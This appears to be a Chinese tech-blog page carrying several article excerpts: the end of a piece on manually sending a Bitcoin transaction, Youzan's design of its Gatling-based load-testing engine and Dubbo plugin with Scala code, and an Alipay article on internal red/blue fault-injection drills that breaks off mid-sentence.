…）后面。为了监视我的交易的进度，我有一个套接字打开给另一个随机对等体。发送我的交易五秒后，另一个对等体发送了一条tx消息，其中包含我刚刚发送的交易的哈希值。因此，我的交易只需几秒钟即可在对等网络或至少部分网络中传递。胜利：我的交易被开采了在将我的交易发送到对等网络后，我需要等待它才能获得胜利。十分钟后，我的脚本收到一条带有新块的inv消息（参见下面的Wireshark描述）。检查此块显示它包含我的交易，证明我的交易有效。我还可以通过查看我的比特币钱包和在线查询来验证此交易是否成功。因此，经过大量的努力，我成功地手动创建了一个交易并让它被系统接受。（不用说，我的前几次交易尝试都没有成功，我的错误交易消失在网络中，永远不会被再次看到。）我的交易是由大型GHash.IO矿池开采的，块为#279068，哈希为0000000000000001a27b1d6eb8c405410398ece796e742da3b3e35363c2219ee。（哈希在上面的inv消息中反转：ee19…）请注意，哈希以大量零开始——在quintillion值中找到这样的字面意思是使挖掘变得如此困难的原因。这个特殊的块包含462个交易，其中我的交易只有一个。为了开采这个区块，矿工们获得了25比特币的奖励，总费用为0.104比特币，分别约为19,000美元和80美元。我支付了0.0001比特币的费用，约占我交易的8美分或10%。挖掘过程非常有趣，但我将把它留给以后的文章。结论使用原始的比特币协议比我预期的要困难，但我一路上学到了很多关于比特币的知识，我希望你也做到了。我的代码纯粹是为了演示——如果你真的想通过Python使用比特币，请使用真正的库而不是我的代码。======================================================================分享一些以太坊、EOS、比特币等区块链相关的交互式在线编程实战教程：EOS教程，本课程帮助你快速入门EOS区块链去中心化应用的开发，内容涵盖EOS工具链、账户与钱包、发行代币、智能合约开发与部署、使用代码与智能合约交互等核心知识点，最后综合运用各知识点完成一个便签DApp的开发。java以太坊开发教程，主要是针对java和android程序员进行区块链以太坊开发的web3j详解。python以太坊，主要是针对python工程师使用web3.py进行区块链以太坊开发的详解。php以太坊，主要是介绍使用php进行智能合约开发交互，进行账号创建、交易、转账、代币开发以及过滤器和交易等内容。以太坊入门教程，主要介绍智能合约与dapp应用开发，适合入门。以太坊开发进阶教程，主要是介绍使用node.js、mongodb、区块链、ipfs实现去中心化电商DApp实战，适合进阶。C#以太坊，主要讲解如何使用C#开发基于.Net的以太坊应用，包括账户管理、状态与交易、智能合约开发与交互、过滤器和交易等。java比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Java代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Java工程师不可多得的比特币开发学习课程。php比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Php代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Php工程师不可多得的比特币开发学习课程。tendermint区块链开发详解，本课程适合希望使用tendermint进行区块链开发的工程师，课程内容即包括tendermint应用开发模型中的核心概念，例如ABCI接口、默克尔树、多版本状态库等，也包括代币发行等丰富的实操代码，是go语言工程师快速入门区块链开发的最佳选择。汇智网原创翻译，转载请标明出处。这里是原文如何使用原始比特币协议 ...

有赞全链路压测引擎的设计与实现

一年以前，有赞准备在双十一到来之前对系统进行一次性能摸底，以便提前发现并解决系统潜在性能问题，好让系统在双十一期间可以从容应对剧增的流量。工欲善其事，必先利其器，我们拿什么工具来压测呢？我们做了很多前期调研和论证，最终决定基于 Gatling 开发有赞自己的分布式全链路压测引擎 —— MAXIM。一年多来，我们使用 Maxim 对系统做了很多次的性能压测，在提升系统性能、稳定性的同时，也得益于历次压测的实践经验逐步改进 Maxim。1、前期调研1.1、技术选型的核心考量由于时间或成本关系，我们打算基于开源软件做二次开发，而以下就是我们技术选型时的核心考量：将请求编排成业务场景以用户下单这个场景为例，用户完成一笔订单，可能需要打开商品主页-加入购物车-选择收货地址-下单支付这些步骤，而串起这一系列的请求就是所谓的将请求编排成业务场景流量控制流量控制可以是纵向的，如上述下单场景中，各个步骤的请求量逐渐减少，整体呈现一个漏斗模型；也可以是横向的，比如用户正在浏览 A 商品的商品详情页，然后看到了 B 商品的推荐，转而浏览 B 商品的商品详情页压力控制指压测时并发用户数、吞吐量(RPS / TPS)的控制数据跟请求参数的绑定压测往往涉及大量的测试数据，而如何绑定数据和请求参数是我们需要考量的对分布式测试的支持因为是全链路压测，自然需要多台施压机共同协作施压，自然而然的需要分布式支持测试报告良好的测试报告是我们分析性能问题的必备条件二次开发的成本由于时间或人力关系，我们也需要考虑二次开发成本1.2、4 个主流开源性能测试框架对比我们调研了以下 4 个主流开源性能测试框架：ApacheBenchApache 服务器自带，简单易用，但不支持场景编排、不支持分布式，二次开发难度较大JMeterJMeter 支持上述很多特性，如分布式、良好的压测报告等，但其基于 GUI 的使用方式，使得当我们的压测场景非常复杂并包含很多请求时，使用上不够灵活；此外在流量控制方面的支持也一般nGrinder基于 Grinder 二次开发的开源项目，支持分布式，测试报告良好，但和 JMeter 一样，在场景编排和流量控制方面支持一般Gatling支持场景编排、流量控制、压力控制，测试报告良好，且提供了强大的 DSL（领域特定语言）方便编写压测脚本，但不支持分布式，且使用 Scala 开发，有一定开发成本以上，我们最终选择基于 Gatling 做二次开发。2、Maxim 新增的特性Maxim 在 Gatling 基础上开发了很多新特性：支持分布式一个控制中心（Control Center，负责调度） + 多个压力注入器（指施压机）提供 GUI，并对用户隐藏压测过程的复杂性高效地创建、运行（手动/定期）测试任务管理测试资源测试资源包括压测脚本、数据集（为压测请求提供测试数据，由数据块构成的一个集合，数据块是大量测试数据的最小分割单元）、压力注入器支持压测脚本参数化Maxim 中并发用户数、RPS、持续时间等都可以通过 GUI 动态注入压测脚本支持压力注入器系统状态监控实时监控压力注入器的 CPU、内存、I/O 等指标自动生成压测报告，保留历史压测报告采集多个压力注入器的压测日志，自动汇总生成压测报告，并保留历史压测报告3、Maxim 的技术架构3.1、Maxim 的总体架构Maxim 架构的主要构成：Maxim ConsoleMaxim Console 主要衔接 GUI 和 Maxim Control Center，负责创建、运行测试任务，接收压力控制参数等Maxim Control CenterMaxim 的控制中心，这里主要负责压测任务的调度、读取数据集、上传脚本和数据以及读取日志并生成压测报告Load Injector Cluster压力注入器集群，主要分为 Agent 和 Gatling 两部分，Agent 负责接收 Maxim 控制中心的调度指令以及向控制中心反馈本压力注入器压测情况，而 Gatling 则是真正发起压测请求的地方，并将压测日志写入 InfluxDBData Factory压测数据首先会在大数据平台通过 MapReduce 任务生成，而数据工厂负责为控制中心读取这些数据并返回数据集Cloud Storage云存储，Maxim 控制中心会将压测脚本和压测数据上传到云存储，当 Agent 收到控制中心的任务执行指令时，会从云存储下载压测脚本和对应的数据块。设计云存储的目的主要是为了模拟真实用户环境在公网发起压测请求，但有赞目前都是从内网发起压测请求，所以云存储的功能也可以以其他方式实现，比如 Agent 直接从大数据平台下载数据集InfluxDB所有压力注入器产生的日志都会统一写入 InfluxDB，方便生成压测报告Maxim的调度算法控制中心会根据当前测试任务使用的压力注入器数量，将数据集中的数据块平均分配给每个压力注入器，让每个压力注入器只下载对应的那些数据块。此外，并发用户数、RPS 也会被平均切分给每个压力注入器。这样，每个压力注入器的负载基本是一致的。3.2、Maxim 的领域抽象TestJob - JobExecution - JobSliceExecution当压测任务开始执行，首先会在控制中心生成 JobExecution，监控本次压测任务的整体执行状态。控制中心又会根据上述调度算法为每个压力注入器生成任务分片 JobSliceExecution 并下发到各个压力注入器，其中包含了脚本、数据集等信息TestScript压测脚本DataSet和DataChunk数据集和组成数据集的数据块单元，目前单次压测任务已支持多数据集，为多个场景提供不同的压测数据，即混合场景压测LoadProfile从 GUI 接收动态参数，主要包括压力注入器数量、并发用户数、RPS、持续时间等ExecPlan执行计划，包括按需执行和周期执行两种执行方式ExecutionStatus关于状态机下一节会详细介绍3.3、Maxim的状态机Maxim 状态机是 Maxim 分布式的核心，控制中心和各个 Agent 的行为都受状态机变化的影响。创建任务并开始执行以后，各个任务分片（JobSliceExecution）首先会进入 preparing 状态，各个 Agent 会从云存储下载压测脚本和各自对应的那些数据块，下载完成后再将这些数据块合并成一个 Json 数据文件作为压测脚本的数据输入。如果下载失败则会重试，即 Prepare。如果所有 Agent 都成功下载了脚本和数据，则各个 JobSliceExecution 会相继进入 prepared 状态，等所有 JobSliceExecution 进入 prepared 状态后，JobExecution 也会进入 prepared 状态，并向各个 Agent 发起执行指令，各个 JobSliceExecution 进入 running 状态，等所有 Agent 执行完成且各个 JobSliceExecution 变成 completed 状态之后，JobExecution 也会进入 completed 状态，此时压测任务执行完成并生成压测报告。如果各个任务分片在 preparing、prepared 或 running 过程中有任何一个出错，则出错的分片会进入 failed 状态并通知控制中心，控制中心则控制其他分片中止正在执行的任务并进入 Stopping 状态，等这些分片中止成功并都变成 stopped 状态后，JobExecution 会被置成 failed 状态。当然了，也可以手动停止压测任务，这时候 JobSliceExecution 和 JobExecution 都会被置成 stopping->stopped 状态。3.4、Maxim 控制中心的技术架构Maxim 控制中心采用六边形架构（也叫端口与适配器模式），核心服务只处理核心业务逻辑（如调度算法），其他功能如与 Agent 通信、脚本存储、数据存储、压测报告等都是通过适配层调用特定实现的 API 实现。具体技术的话，与 Agent 通信使用 grpc 实现，其他功能则是通过 SPI 技术实现，我们把这一层叫做接缝层（Seam）。这样设计最大层度的解耦了核心业务逻辑和其他功能的特定实现，我们在保持接缝层 API 不变的情况下，可以自由选择技术方案实现相应的功能。比如数据服务这块强依赖了有赞的大数据平台，假设我们开源了 Maxim，外部团队就可以选择他们自己的技术方案实现数据服务，或者为了测试目的 Mock 掉。4、改造 Gatling原生 Gatling 是将压测日志写入本地日志文件的，而在分布式中，如果每个压力注入器都把日志写在本地，则为了基于所有日志分析生成压测报告，我们需要首先收集分散在各个压力注入器中的日志文件，这样显然是低效的。所以我们改造了 Gatling ，将所有日志都写到同一个 InfluxDB 数据库。需要生成压测报告时，控制中心从 InfluxDB 数据库读入本次压测任务的所有压测日志并保存为一个日志文件，再交由 Gatling 的日志处理模块来生成压测报告。5、扩展 Gatling原生 Gatling 不支持 Dubbo 压测，所以我们扩展 Gatling，实现并开源了 gatling-dubbo压测插件，具体实现方法详见 Dubbo压测插件的实现——基于Gatling6、Maxim 的未来展望Maxim 目前还是个单打独斗的产品，未来我们希望与大数据平台、运维平台等系统打通，让 Maxim 逐渐进化为一个一站式的压测平台，并引入更多新特性，如压测过程和压测报告的实时计算和展示等等。我的系列博客混沌工程 - 软件系统高可用、弹性化的必由之路异步系统的两种测试方法 Dubbo压测插件的实现——基于Gatling我的其他测试相关开源项目捉虫记：方便产品、开发、测试三方协同自测的管理工具 gatling-dubbo：扩展自Gatling的Dubbo性能测试插件招聘有赞测试组在持续招人中，大量岗位空缺，只要你来，就能帮你点亮全栈开发技能树，有意向换工作的同学可以发简历到 sunjun【@】youzan.com ...

Dubbo压测插件的实现——基于Gatling

Dubbo 压测插件已开源，本文涉及代码详见gatling-dubboGatling 是一个开源的基于 Scala、Akka、Netty 实现的高性能压测框架，较之其他基于线程实现的压测框架，Gatling 基于 AKKA Actor 模型实现，请求由事件驱动，在系统资源消耗上低于其他压测框架（如内存、连接池等），使得单台施压机可以模拟更多的用户。此外，Gatling 提供了一套简单高效的 DSL（领域特定语言）方便我们编排业务场景，同时也具备流量控制、压力控制的能力并提供了良好的压测报告，所以有赞选择在 Gatling 基础上扩展分布式能力，开发了自己的全链路压测引擎 MAXIM。全链路压测中我们主要模拟用户实际使用场景，使用 HTTP 接口作为压测入口，但有赞目前后端服务中 Dubbo 应用比重越来越高，如果可以知道 Dubbo 应用单机水位将对我们把控系统后端服务能力大有裨益。基于 Gatling 的优势和在有赞的使用基础，我们扩展 Gatling 开发了 gatling-dubbo 压测插件。插件主要结构实现 Dubbo 压测插件，需实现以下四部分内容：Protocol 和 ProtocolBuild协议部分，这里主要定义 Dubbo 客户端相关内容，如协议、泛化调用、服务 URL、注册中心等内容，ProtocolBuild 则为 DSL 使用 Protocol 的辅助类Action 和 ActionBuild执行部分，这里的作用是发起 Dubbo 请求，校验请求结果并记录日志以便后续生成压测报告。ActionBuild 则为 DSL 使用 Action 的辅助类Check 和 CheckBuild检查部分，全链路压测中我们都使用Json Path检查请求结果，这里我们实现了一样的检查逻辑。CheckBuild 则为 DSL 使用 Check 的辅助类DSLDubbo 插件的领域特定语言，我们提供了一套简单易用的 API 方便编写 Duboo 压测脚本，风格上与原生 HTTP DSL 保持一致Protocol协议部分由 5 个属性组成，这些属性将在 Action 初始化 Dubbo 客户端时使用，分别是：protocol协议，设置为dubbogeneric泛化调用设置，Dubbo 压测插件使用泛化调用发起请求，所以这里设置为true，有赞优化了泛化调用的性能，为了使用该特性，引入了一个新值result_no_change（去掉优化前泛化调用的序列化开销以提升性能）urlDubbo 服务的地址：dubbo://IP地址:端口registryProtocolDubbo 注册中心的协议，设置为ETCD3registryAddressDubbo 注册中心的地址如果是测试 Dubbo 单机水位，则设置 url，注册中心设置为空；如果是测试 Dubbo 集群水位，则设置注册中心（目前支持 ETCD3），url 设置为空。由于目前注册中心只支持 ETCD3，插件在 Dubbo 集群上使用缺乏灵活性，所以我们又实现了客户端层面的负载均衡，如此便可抛开特定的注册中心来测试 Dubbo 集群水位。该特性目前正在内测中。object DubboProtocol { val DubboProtocolKey = new ProtocolKey { type Protocol = DubboProtocol type Components = DubboComponents def protocolClass: Class[io.gatling.core.protocol.Protocol] = classOf[DubboProtocol].asInstanceOf[Class[io.gatling.core.protocol.Protocol]] def defaultProtocolValue(configuration: GatlingConfiguration): DubboProtocol = throw new IllegalStateException(“Can’t provide a default value for DubboProtocol”) def newComponents(system: ActorSystem, coreComponents: CoreComponents): DubboProtocol => DubboComponents = { dubboProtocol => DubboComponents(dubboProtocol) } }}case class DubboProtocol( protocol: String, //dubbo generic: String, //泛化调用? url: String, //use url or registryProtocol: String, //use registry registryAddress: String //use registry) extends Protocol { type Components = DubboComponents}为了方便 Action 中使用上面这些属性，我们将其装进了 Gatling 的 ProtocolComponents：case class DubboComponents(dubboProtocol: DubboProtocol) extends ProtocolComponents { def onStart: Option[Session => Session] = None def onExit: Option[Session => Unit] = None}以上就是关于 Protocol 的定义。为了能在 DSL 中配置上述 Protocol，我们定义了 DubboProtocolBuilder，包含了 5 个方法分别设置 Protocol 的 protocol、generic、url、registryProtocol、registryAddress 5 个属性。object DubboProtocolBuilderBase { def protocol(protocol: String) = DubboProtocolBuilderGenericStep(protocol)}case class DubboProtocolBuilderGenericStep(protocol: String) { def generic(generic: String) = DubboProtocolBuilderUrlStep(protocol, generic)}case class DubboProtocolBuilderUrlStep(protocol: String, generic: String) { def url(url: String) = DubboProtocolBuilderRegistryProtocolStep(protocol, generic, url)}case class DubboProtocolBuilderRegistryProtocolStep(protocol: String, generic: String, url: String) { def registryProtocol(registryProtocol: String) = DubboProtocolBuilderRegistryAddressStep(protocol, generic, url, registryProtocol)}case class DubboProtocolBuilderRegistryAddressStep(protocol: String, generic: String, url: String, registryProtocol: String) { def registryAddress(registryAddress: String) = DubboProtocolBuilder(protocol, generic, url, registryProtocol, registryAddress)}case class DubboProtocolBuilder(protocol: String, generic: String, url: String, registryProtocol: String, registryAddress: String) { def build = DubboProtocol( protocol = protocol, generic = generic, url = url, registryProtocol = registryProtocol, registryAddress = registryAddress )}ActionDubboAction 包含了 Duboo 请求逻辑、请求结果校验逻辑以及压力控制逻辑，需要扩展 ExitableAction 并实现 execute 方法。DubboAction 类的域 argTypes、argValues 分别是泛化调用请求参数类型和请求参数值，需为 Expression[] 类型，这样当使用数据 Feeder 作为压测脚本参数输入时，可以使用类似 ${args_types}、${args_values}这样的表达式从数据 Feeder 中解析对应字段的值。execute 方法必须以异步方式执行 Dubbo 请求，这样前一个 Dubbo 请求执行后但还未等响应返回时虚拟用户就可以通过 AKKA Message 立即发起下一个请求，如此一个虚拟用户可以在很短的时间内构造大量请求。请求方式方面，相比于泛化调用，原生 API 调用需要客户端载入 Dubbo 服务相应的 API 包，但有时候却拿不到，此外，当被测 Dubbo 应用多了，客户端需要载入多个 API 包，所以出于使用上的便利性，Dubbo 压测插件使用泛化调用发起请求。异步请求响应后会执行 onComplete 方法，校验请求结果，并根据校验结果记录请求成功或失败日志，压测报告就是使用这些日志统计计算的。为了控制压测时的 RPS，则需要实现 throttle 逻辑。实践中发现，高并发情况下，泛化调用性能远不如原生 API 调用性能，且响应时间成倍增长（如此不能表征 Dubbo 应用的真正性能），导致 Dubbo 压测插件压力控制不准，解决办法是优化泛化调用性能，使之与原生 API 调用的性能相近，请参考dubbo 泛化调用性能优化。class DubboAction( interface: String, method: String, argTypes: Expression[Array[String]], argValues: Expression[Array[Object]], genericService: GenericService, checks: List[DubboCheck], coreComponents: CoreComponents, throttled: Boolean, val objectMapper: ObjectMapper, val next: Action) extends ExitableAction with NameGen { override def statsEngine: StatsEngine = coreComponents.statsEngine override def name: String = genName(“dubboRequest”) override def execute(session: Session): Unit = recover(session) { argTypes(session) flatMap { argTypesArray => argValues(session) map { argValuesArray => val startTime = System.currentTimeMillis() val f = Future { try { genericService.$invoke(method, argTypes(session).get, argValues(session).get) } finally { } } f.onComplete { case Success(result) => val endTime = System.currentTimeMillis() val resultMap = result.asInstanceOf[JMap[String, Any]] val resultJson = objectMapper.writeValueAsString(resultMap) val (newSession, error) = Check.check(resultJson, session, checks) error match { case None => statsEngine.logResponse(session, interface + “.” + method, ResponseTimings(startTime, endTime), Status(“OK”), None, None) throttle(newSession(session)) case Some(Failure(errorMessage)) => statsEngine.logResponse(session, interface + “.” + method, ResponseTimings(startTime, endTime), Status(“KO”), None, Some(errorMessage)) throttle(newSession(session).markAsFailed) } case FuFailure(e) => val endTime = System.currentTimeMillis() statsEngine.logResponse(session, interface + “.” + method, ResponseTimings(startTime, endTime), Status(“KO”), None, Some(e.getMessage)) throttle(session.markAsFailed) } } } } private def throttle(s: Session): Unit = { if (throttled) { coreComponents.throttler.throttle(s.scenario, () => next ! s) } else { next ! s } }}DubboActionBuilder 则是获取 Protocol 属性并初始化 Dubbo 客户端：case class DubboActionBuilder(interface: String, method: String, argTypes: Expression[Array[String]], argValues: Expression[Array[Object]], checks: List[DubboCheck]) extends ActionBuilder { private def components(protocolComponentsRegistry: ProtocolComponentsRegistry): DubboComponents = protocolComponentsRegistry.components(DubboProtocol.DubboProtocolKey) override def build(ctx: ScenarioContext, next: Action): Action = { import ctx._ val protocol = components(protocolComponentsRegistry).dubboProtocol //Dubbo客户端配置 val reference = new ReferenceConfig[GenericService] val application = new ApplicationConfig application.setName(“gatling-dubbo”) reference.setApplication(application) reference.setProtocol(protocol.protocol) reference.setGeneric(protocol.generic) if (protocol.url == “”) { val registry = new RegistryConfig registry.setProtocol(protocol.registryProtocol) registry.setAddress(protocol.registryAddress) reference.setRegistry(registry) } else { reference.setUrl(protocol.url) } reference.setInterface(interface) val cache = ReferenceConfigCache.getCache val genericService = cache.get(reference) val objectMapper: ObjectMapper = new ObjectMapper() new DubboAction(interface, method, argTypes, argValues, genericService, checks, coreComponents, throttled, objectMapper, next) }}LambdaProcessBuilder 则提供了设置 Dubbo 泛化调用入参的 DSL 以及接下来要介绍的 Check 部分的 DSLcase class DubboProcessBuilder(interface: String, method: String, argTypes: Expression[Array[String]] = _ => Success(Array.empty[String]), argValues: Expression[Array[Object]] = _ => Success(Array.empty[Object]), checks: List[DubboCheck] = Nil) extends DubboCheckSupport { def argTypes(argTypes: Expression[Array[String]]): DubboProcessBuilder = copy(argTypes = argTypes) def argValues(argValues: Expression[Array[Object]]): DubboProcessBuilder = copy(argValues = argValues) def check(dubboChecks: DubboCheck*): DubboProcessBuilder = copy(checks = checks ::: dubboChecks.toList) def build(): ActionBuilder = DubboActionBuilder(interface, method, argTypes, argValues, checks)}Check全链路压测中，我们都使用Json Path校验 HTTP 请求结果，Dubbo 压测插件中，我们也实现了基于Json Path的校验。实现 Check，必须实现 Gatling check 中的 Extender 和 Preparer：package object dubbo { type DubboCheck = Check[String] val DubboStringExtender: Extender[DubboCheck, String] = (check: DubboCheck) => check val DubboStringPreparer: Preparer[String, String] = (result: String) => Success(result)}基于Json Path的校验逻辑：trait DubboJsonPathOfType { self: DubboJsonPathCheckBuilder[String] => def ofType[X: JsonFilter](implicit extractorFactory: JsonPathExtractorFactory) = new DubboJsonPathCheckBuilder[X](path, jsonParsers)}object DubboJsonPathCheckBuilder { val CharsParsingThreshold = 200 * 1000 def preparer(jsonParsers: JsonParsers): Preparer[String, Any] = response => { if (response.length() > CharsParsingThreshold || jsonParsers.preferJackson) jsonParsers.safeParseJackson(response) else jsonParsers.safeParseBoon(response) } def jsonPath(path: Expression[String])(implicit extractorFactory: JsonPathExtractorFactory, jsonParsers: JsonParsers) = new DubboJsonPathCheckBuilder[String](path, jsonParsers) with DubboJsonPathOfType}class DubboJsonPathCheckBuilder[X: JsonFilter]( private[check] val path: Expression[String], private[check] val jsonParsers: JsonParsers)(implicit extractorFactory: JsonPathExtractorFactory) extends DefaultMultipleFindCheckBuilder[DubboCheck, String, Any, X]( DubboStringExtender, DubboJsonPathCheckBuilder.preparer(jsonParsers) ) { import extractorFactory._ def findExtractor(occurrence: Int) = path.map(newSingleExtractor[X](_, occurrence)) def findAllExtractor = path.map(newMultipleExtractor[X]) def countExtractor = path.map(newCountExtractor)}DubboCheckSupport 则提供了设置 jsonPath 表达式的 DSLtrait DubboCheckSupport { def jsonPath(path: Expression[String])(implicit extractorFactory: JsonPathExtractorFactory, jsonParsers: JsonParsers) = DubboJsonPathCheckBuilder.jsonPath(path)}Dubbo 压测脚本中可以设置一个或多个 check 校验请求结果，使用 DSL check 方法*DSLtrait AwsDsl提供顶层 DSL。我们还定义了 dubboProtocolBuilder2DubboProtocol、dubboProcessBuilder2ActionBuilder 两个 Scala 隐式方法，以自动构造 DubboProtocol 和 ActionBuilder。此外，泛化调用中使用的参数类型为 Java 类型，而我们的压测脚本使用 Scala 编写，所以这里需要做两种语言间的类型转换，所以我们定义了 transformJsonDubboData 方法trait DubboDsl extends DubboCheckSupport { val Dubbo = DubboProtocolBuilderBase def dubbo(interface: String, method: String) = DubboProcessBuilder(interface, method) implicit def dubboProtocolBuilder2DubboProtocol(builder: DubboProtocolBuilder): DubboProtocol = builder.build implicit def dubboProcessBuilder2ActionBuilder(builder: DubboProcessBuilder): ActionBuilder = builder.build() def transformJsonDubboData(argTypeName: String, argValueName: String, session: Session): Session = { session.set(argTypeName, toArray(session(argTypeName).as[JList[String]])) .set(argValueName, toArray(session(argValueName).as[JList[Any]])) } private def toArray[T:ClassTag](value: JList[T]): Array[T] = { value.asScala.toArray }}object Predef extends DubboDslDubbo 压测脚本和数据 Feeder 示例压测脚本示例：import io.gatling.core.Predef._import io.gatling.dubbo.Predef._import scala.concurrent.duration._class DubboTest extends Simulation { val dubboConfig = Dubbo .protocol(“dubbo”) .generic(“true”) //直连某台Dubbo机器，只单独压测一台机器的水位 .url(“dubbo://IP地址:端口”) //或设置注册中心，压测该Dubbo应用集群的水位，支持ETCD3注册中心 .registryProtocol("") .registryAddress("") val jsonFileFeeder = jsonFile(“data.json”).circular //数据Feeder val dubboScenario = scenario(“load test dubbo”) .forever(“repeated”) { feed(jsonFileFeeder) .exec(session => transformJsonDubboData(“args_types1”, “args_values1”, session)) .exec(dubbo(“com.xxx.xxxService”, “methodName”) .argTypes("${args_types1}") .argValues("${args_values1}") .check(jsonPath("$.code").is(“200”)) ) } setUp( dubboScenario.inject(atOnceUsers(10)) .throttle( reachRps(10) in (1 seconds), holdFor(30 seconds)) ).protocols(dubboConfig)}data.json 示例：[ { “args_types1”: [“com.xxx.xxxDTO”], “args_values1”: [{ “field1”: “111”, “field2”: “222”, “field3”: “333” }] }]Dubbo 压测报告示例我的系列博客混沌工程 - 软件系统高可用、弹性化的必由之路异步系统的两种测试方法我的其他测试相关开源项目捉虫记：方便产品、开发、测试三方协同自测的管理工具招聘有赞测试组在持续招人中，大量岗位空缺，只要你来，就能帮你点亮全栈开发技能树，有意向换工作的同学可以发简历到 sunjun【@】youzan.com ...

听说支付宝有一个“疯起来连自己都打”的项目

摘要：红军 VS 蓝军，谁是更强者？小蚂蚁说：自古红蓝出CP，在蚂蚁金服就有这样两支“相爱相杀”的队伍——红军和蓝军。蓝军是进攻方，主要职责是挖掘系统的弱点并发起“真实”的攻击，俗称“找茬”；红军则是防守方，其防控体系建设中的实时核对平台能够做到稳定的分钟级核对异常发现能力，并提供业务快速接入的能力。支付宝“疯起来连自己都打”的项目就是红蓝军技术攻防演练，他们不仅每周进行全栈级别的演练，每年还会举行规模极大的“期中考试”和“期末考试”。接下来就跟着小蚂蚁一起去看看这对红蓝cp的日常“互怼”生活吧！如果一个技术团队不干别的，专门“搞破坏”，这是一种怎样的存在？这真的不是“天方夜谭”，在支付宝确实有这么一支队伍——技术蓝军。蓝军的任务就是不断地攻击和进攻，而防守方则是技术红军。在支付宝，蓝军从属于蚂蚁金服技术风险部（SRE），而红军则包括SRE及各业务部门的技术团队。说到SRE，就需要科普一下了。SRE全拼为Site Reliability Engineer，是软件工程师和系统管理员的结合，是一种要求极高的技术工种。据说，目前全球只有少数几家顶级互联网公司拥有真正意义上的SRE团队，蚂蚁金服是其中之一。由蓝军主导的技术攻防演练就是那个传说中的“疯起来连自己都打”的项目，今天，就来起底一下这个神秘的项目。从“青铜”到强者红蓝军技术攻防演练与蚂蚁金服技术风险部的发展息息相关，而蚂蚁技术风险的演进轨迹和游戏中的不断打怪升级非常相像。早期是质量+运维+架构师三角协同，各司其职并自发性的开展一些技术风险相关的工作。2013年，蚂蚁金服技术团队提出了质量2.0战略，以统一的规章、统一的流程和统一的阵型，开始体系化地沉淀故障检测等方面的平台化能力。大概一年后，也就是2014年，专门成立了技术质量部，从全域视角解决技术风险的问题。2015年，技术质量部正式升级成为技术风险部，专注研发及架构的技术风险问题，并完成相应解决方案和落地的平台。2016年，技术风险部再次升级为SRE团队。SRE团队组建后，就开始全面开展故障自动定位、自适应容灾、防抖、精细化高可用等工作。其中防抖这块，要保证任何的网络或基础设施抖动，用户都无感知；而精细化高可用，又叫单笔高可用，其颗粒度可以精准到用户的每一笔交易，远远优于行业内的机房级高可用。同时，那个热衷“找茬”的组织——技术蓝军也正式成立。这个专门的、拥有独立职能的团队不干别的，主要职责是挖掘系统的弱点并发起“真实”的攻击，红蓝军技术攻防演练也自此诞生。牛X的是，技术蓝军并不对各业务方负责，只对应用架构及防御系统的稳定性和可靠性负责。在蓝军眼中，故障的发生是必然的，只是时间早晚而已。蓝军只有想尽办法去触发这些故障，这样，在故障真实发生的时候，才有足够的应付能力。所以，蓝军发掘各类脆弱点，并通过红蓝军技术攻防演练，不断验证防御系统的可靠性。而故障防御系统及不断优化的高可用架构则是由SRE团队的红军与各业务深度合作，沉淀、构建出来的。现在，全栈级别的技术攻防演练每周都在进行，蓝军似乎对“疯起来连自己都打”很上瘾。利矛与坚盾不断升级持续不断的攻防演练，让蓝军和红军的技术能力得到了极大地提升，同时双方“武器库”也在不断升级。2017年秋天，蓝军团队在成立后的两个月内，自主研发了字节码级别的故障注入系统Awatch，这个武器的厉害之处在于可以实时地对运行中的业务系统进行任意链路的编织侵入。这对于对于技术蓝军以及整个红蓝攻防体系，具有里程碑式的意义。蓝军研发出了厉害的武器，红军也没闲着。与此同时，技术红军的防控体系建设也在如火如荼地进行着，实时核对平台横空而出。该平台能够做到稳定的分钟级核对异常发现能力，在某些场景下可以做到秒级发现，并且平台提供了业务快速接入的能力；红军还在实时核对平台的基础之上，升级演化出一套智能核对平台(内部代号四道防线)，引入AI技术自动识别业务问题，目前这套防线已经覆盖蚂蚁80%以上的业务。另外，各个业务域针对自身业务的一些特殊性，也研发了相应的核对系统。尽管蓝军制造故障的能力有很大的提高，但大部分的故障场景主要是各个业务方提供的，只有极少数是蓝军人工梳理业务或者分析代码产出。此时，蓝军团队认为，日常演练常态化，在故障场景发现方面不能再依赖业务，必须建立自主发现故障场景的能力。2018年3月，蓝军推出故障场景挖掘平台，基于Awatch探针探测应用内数据流，以此进行“弱点挖掘”。这套弱点挖掘体系，能够自动发现故障场景，最高能够在5分钟内产生500+的故障场景，红蓝攻防的日常演练的最为重要一块拼图终于完成！然而新的问题来了。蓝军的故障挖掘平台能力毋庸置疑，但有攻击就需要应急，高频攻防实施亦会给红军带来大量的人力消耗。持续应急压力驱动，红军开展““故障自愈”架构体系升级及能力建设，以效能为目标，结合仿真，红蓝军一起研发了“无损”攻防体系，并且推出与之匹配的度量平台，自动度量攻防结果，数据可视化。目前，常态红蓝技术对抗保持每周200+个故障场景的节奏在持续运作。常态化的红蓝“互怼”在线、实时、随地、无差别……这是支付宝技术蓝军实施攻击行为的几大标签。2017年年底的红蓝技术攻防周，技术蓝军发起攻击，但由于故障组件一处隐藏bug导致故障命中数量远远大于预期，给红军增添了不少麻烦，业务线的技术同学投入大量的人力和资源进行善后。此情此景之下，红军方面不仅没有抱怨，反而给予蓝军鼓励，“这次预期外的故障攻击是最真实的应急锻炼！”2018年年中的一次红蓝技术攻防中，蓝军在周末发起突袭，而刚好红军的相关同学正在举办婚礼。于是，一群程序员赶紧拿出吃饭的家伙，噼里啪啦敲着键盘进行应急，那画面简直不要太美了。还是在2018年的一次对抗中，红军祭出了“尖端武器”——自适应防灾、防抖等，这让蓝军吃尽苦头，几乎每次攻击都无功而返。挫败感飙升的蓝军最终放出大招，让红军接受了非常猛烈的炮火洗礼。有意思的是，似乎蓝军攻击得越欢，红军的同学越高兴……虽然看上去很受虐，但却没毛病，因为蓝军攻击得越狠越深入，被挖掘和发现出来的技术风险就会越确定，防御系统的能力也会因此而得到提升。令人震惊的是，为了防止蓝军的“袭击”，红军除了在防御系统方面下十足的功夫，每年期中和期末的红蓝技术攻防演练，红军都要举办一个仪式——那就是拜关公，除了叩拜，还得给驱邪镇恶的关公献